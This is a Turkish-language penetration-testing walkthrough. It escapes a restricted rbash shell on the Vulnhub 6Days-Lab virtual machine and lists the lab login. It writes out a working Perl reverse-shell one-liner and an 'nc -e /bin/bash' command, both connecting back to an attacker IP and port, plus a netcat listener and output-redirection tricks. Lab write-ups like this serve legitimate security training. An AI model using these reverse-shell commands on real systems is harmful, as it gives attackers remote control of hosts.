Linux Sızma Testlerinde Perl ile Kısıtlı Kabuktan Bash Kabuğuna Geçiş Sağlama

Sızma testlerinde bir Linux sistem kısıtlı kabukta (rshell) ele geçirildikten sonra, ters bağlantı ile bu kısıtı atlatabilme ihtiyacı olabilir. Bu yazıda, kısıtlı kabuk erişimi elde edilen 6Days-Lab sanal makinesinde bir Perl kodu ile ters bir bağlantı elde edilerek bash kabuğunda komut çalıştırılması incelenecektir.

Yazıda kullanılan 6Days-Lab sanal makinesi Vulnhub sitesinden indirilebilir.

https://www.vulnhub.com/entry/6days-lab-11,156/

 

Bu makineye aşağıdaki bilgiler ile erişim sağlanabilir.

Kullanıcı Adı: andrea
Parola: SayNoToPentests

 

İlk durumda elde edilen kabuğun (restricted shell / rbash shell) kısıtlı olduğu ve çalıştırılan komutların ekrana basılmadığı görülmektedir.

/bin/bash
id
ifconfig
ls
ls /tmp/
mkdir test
ls

 

Not: Bunun sebebi hazırlanan sanal makinede kabuk çıktılarının boşluğa (/dev/null) yönlendirilmesidir.

grep andrea /etc/passwd
cat /bin/andrea
ls -la /bin/rbash

 

Python ile etkileşimli komut satırının elde edilemediği de görülmektedir.

python -c ‘import pty;pty.spawn(“/bin/bash”)’

 

Ters bağlantının yapılacağı saldırgana ait Kali makinesinin IP adresi 10.10.2.128’dir.

ifconfig eth0

 

Öncelikle saldırgana ait sistemde, ters bağlantının kabul edeceği 8443 portu dinlemeye alınır.

nc -lvp 8443

 

Ters bağlantı sağlamak için aşağıdaki gibi bir Perl betiği kullanılabilir.

perl -e ‘use Socket;$i=”10.10.2.128“;$p=8443;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/bash -i”);};’

 

Alternatif olarak aşağıdaki gibi PentestMonkey üzerinden indirilebilecek ikinci bir betik de kullanılabilir.

http://pentestmonkey.net/tools/web-shells/perl-reverse-shell

 

Böylece ters bağlantı alınabilmiştir.

id
ifconfig eth0
uname -a

 

İpuçları:

Hazırlanan sanal makinede kabuk çıktıları /dev/null ‘a yönlendiriliyordu. Perl ile ters bağlantı sağlamadan bu kısıtı atlatmanın bir yöntemi de “1>&2” ile yönlendirme yapmaktır.

ifconfig 1>&2
ls -la 1>&2

 

Bir diğer yöntem ise “nc” aracını kullanmaktır.

nc -e /bin/bash 10.10.2.128 8443
id

 

Bir başka yöntem de Kioptrix (Seviye – 1.3 [#4]) makinesindeki gibi “echo” komutunu kullanmaktır.

echo os.system(‘/bin/bash’)

 

 

Kaynak:

https://0feci.wordpress.com/2016/08/04/6-days-lab-1-1-vulnhub/
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
https://gknsb.blogspot.com.tr/2017/01/6days-lab-11.html
https://www.aldeid.com/wiki/Lshell

Vulnhub – Kioptrix: Level 1.3 (#4)


https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells
http://forelsec.blogspot.com.tr/2012/12/solving-kioptrix-level-4.html

 

 

Yazarın Bilgileri

Ertuğrul BAŞARANOĞLU
Ertuğrul BAŞARANOĞLU

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

Kullanabileceğiniz HTLM etiketleri ve özellikleri: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code class="" title="" data-url=""> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong> <pre class="" title="" data-url=""> <span class="" title="" data-url="">

Bu sayfada incelenen konulardan doğacak sorunlar kişinin kendi sorumluluğundadır.